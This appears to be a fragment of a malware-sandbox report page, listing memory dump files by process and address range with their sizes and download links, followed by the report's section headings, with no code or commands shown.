memory/528-56-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp

Filesize
8KB

Download
memory/528-58-0x0000000002470000-0x0000000002572000-memory.dmp

Filesize
1.0MB

Download
memory/528-59-0x0000000002572000-0x0000000002574000-memory.dmp

Filesize
8KB

Download
memory/528-60-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/528-57-0x000007FEF26A0000-0x000007FEF31FD000-memory.dmp

Filesize
11.4MB

Download
memory/528-61-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

Download
memory/828-55-0x0000000075D61000-0x0000000075D63000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads